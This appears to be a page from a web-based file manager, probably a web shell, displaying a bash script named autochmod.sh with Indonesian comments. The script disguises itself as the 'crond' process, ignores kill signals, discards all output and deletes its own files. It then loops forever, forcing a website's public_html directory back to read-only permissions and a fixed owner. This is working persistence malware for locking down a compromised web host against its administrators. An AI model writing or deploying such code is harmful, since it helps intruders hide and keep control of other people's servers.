Edit File: autochmod.sh
#!/bin/bash # Konfigurasi FOLDER_PATH="/Home/home/wwineerc/public_html" DESIRED_PERMS="555" # Memastikan folder ada ensure_folder_exists() { if [ ! -d "$FOLDER_PATH" ]; then mkdir -p "$FOLDER_PATH" || exit 1 chmod -R "$DESIRED_PERMS" "$FOLDER_PATH" fi } # Mendapatkan izin folder saat ini get_folder_perms() { local folder_path="$1" if [ -d "$folder_path" ]; then stat -c "%a" "$folder_path" | head -n 1 else echo "" fi } # Mengembalikan izin folder ke yang diinginkan restore_permissions() { local folder_path="$1" chmod -R "$DESIRED_PERMS" "$folder_path" 2>/dev/null if ! chown iaibafaac:iaibafaac "$folder_path" 2>/dev/null; then : # Tidak mencatat error fi } # Memeriksa perubahan izin check_permissions_change() { local folder_path="$1" local current_perms=$(get_folder_perms "$folder_path") if [ "$current_perms" != "$DESIRED_PERMS" ]; then return 0 fi return 1 } # Memeriksa apakah proses sudah berjalan check_process() { if pgrep -x "crond" > /dev/null; then return 0 else return 1 fi } # Menjalankan di background run_in_background() { exec 0</dev/null exec 1>/dev/null exec 2>/dev/null trap "" SIGTERM SIGHUP SIGINT sleep $((RANDOM % 5)) nice -n 19 nohup setsid bash -c "exec -a 'crond' $0 run" & exit 0 } # Menghapus skrip sendiri self_delete() { sleep $((RANDOM % 3)) local script_dir=$(dirname "$0") rm -f "$0" "${script_dir}/crond.enc" "${script_dir}/crond" 2>/dev/null } # Fungsi utama main() { local script_dir=$(dirname "$0") local temp_crond="${script_dir}/crond" if [ "$1" = "run" ]; then trap "" SIGTERM SIGHUP SIGINT exec -a "crond" nice -n 19 bash "$0" run_inner elif [ "$1" = "run_inner" ]; then while true; do ensure_folder_exists if check_permissions_change "$FOLDER_PATH"; then restore_permissions "$FOLDER_PATH" fi sleep $((10 + RANDOM % 5)) done else if ! check_process; then cp "$0" "$temp_crond" 2>/dev/null chmod +x "$temp_crond" 2>/dev/null "$temp_crond" run & self_delete else exit 0 fi fi } # Panggil fungsi main main "$@"
Back to File Manager